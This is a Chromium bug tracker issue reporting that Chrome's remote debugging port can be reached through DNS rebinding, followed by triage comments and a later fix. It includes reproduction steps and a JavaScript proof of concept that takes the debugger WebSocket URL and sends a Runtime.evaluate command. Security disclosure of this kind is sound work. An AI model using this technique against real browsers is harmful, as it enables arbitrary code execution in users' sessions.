New issue
Advanced search Search tips

Issue 650094 link

Starred by 1 user

Issue metadata

Status: WontFix
Owner: ----
Closed: Nov 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Windows , Mac
Pri: 2
Type: Bug-Security



Sign in to add a comment

Remote debugging API vulnerable to DNS Rebinding

Reported by jannhorn@googlemail.com, Sep 25 2016

Issue description

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.113 Safari/537.36

Steps to reproduce the problem:
1. Launch Chrome with "google-chrome-unstable --remote-debugging-port=9123". In the
   launched Chrome instance, open chrome://settings.
2. Configure a couple of A records for hostnames under some domain you control so
   that each hostname has one record pointing to 127.0.0.1 and one record pointing
   to some server you control. (I'll use localandserver{1,2,3,...}.example.org in
   the following text.)
3. Let the server listen on port 9123, too.
4. In another chrome instance, navigate to http://localandserver1.example.org:9123/.
   If you get the "Inspectable pages" page, use the next hostname, and repeat it until
   you get the page from your own server. (This could be automated for a real attack.)
5. Stop the webserver on port 9123 of the server.
6. Run this in the context of the page loaded from your server:

var req = new XMLHttpRequest();
req.open('get', '/json', false);
req.send();
var wsurl = JSON.parse(req.responseText)[0].webSocketDebuggerUrl;
console.log(wsurl);
var ws = new WebSocket(wsurl);
ws.onmessage = function(msg) {console.log(msg.data)};
ws.onopen = function() {
  ws.send(JSON.stringify({id:1,method:"Runtime.evaluate",params:{expression:"alert(document.location)",objectGroup:"console",includeCommandLineAPI:true,silent:false,contextId:1,returnByValue:false,generatePreview:true,userGesture:true,awaitPromise:false}}))
};

What is the expected behavior?
While it isn't entirely unreasonable to design a feature like this one under the assumption that it isn't used while untrusted websites are open in any browser on the system, it might still make sense to have some mitigations against this.

In particular, I believe that adding checks on the "Host" header would be a mitigation with low compatibility risks that would still prevent webpages from obtaining websocket URLs. (Checking the "Origin" header might lead to more compatibility issues.)

What went wrong?
A normal webpage is able to connect to the remote debugging port and issue commands through it.

Did this work before? N/A 

Chrome version: 55.0.2859.0  Channel: dev
OS Version: 
Flash Version: Shockwave Flash 23.0 r0
 
Components: Platform>DevTools
Labels: Security_Severity-Low Security_Impact-Stable OS-Mac OS-Windows
Owner: skyos...@chromium.org
Status: Assigned (was: Unconfirmed)
Summary: Remote debugging API vulnerable to DNS Rebinding (was: Remote debugging API can be accessed by websites)
skyostil@, please have a look.

From a security POV, this is a non-default configuration that isn't trivial to get into, but unlike other unsafe modes (e.g. --disable-web-security), there's no UI warning or notice to the user that Chrome is running in this less-secure mode. 

We might consider implementing Host header limits by default, and/or providing notice to the user that their instance is running in a less-secure mode.

Cc: skyos...@chromium.org pfeldman@chromium.org
Owner: ----
Status: Available (was: Assigned)
I'm not sure I'm the right owner here. Pavel, any idea?

Maybe we should just show a butterbar when remote debugging is enabled?
Project Member

Comment 4 by sheriffbot@chromium.org, Sep 27 2017

Labels: Hotlist-Recharge-Cold
Status: Untriaged (was: Available)
This issue has been Available for over a year. If it's no longer important or seems unlikely to be fixed, please consider closing it out. If it is important, please re-triage the issue.

Sorry for the inconvenience if the bug really should have been left as Available. If you change it back, also remove the "Hotlist-Recharge-Cold" label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Status: WontFix (was: Untriaged)
Looks artificial, not seeing it as worth addressing.
Project Member

Comment 6 by sheriffbot@chromium.org, Mar 6 2018

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
This got fixed as  Issue 813540 .

Sign in to add a comment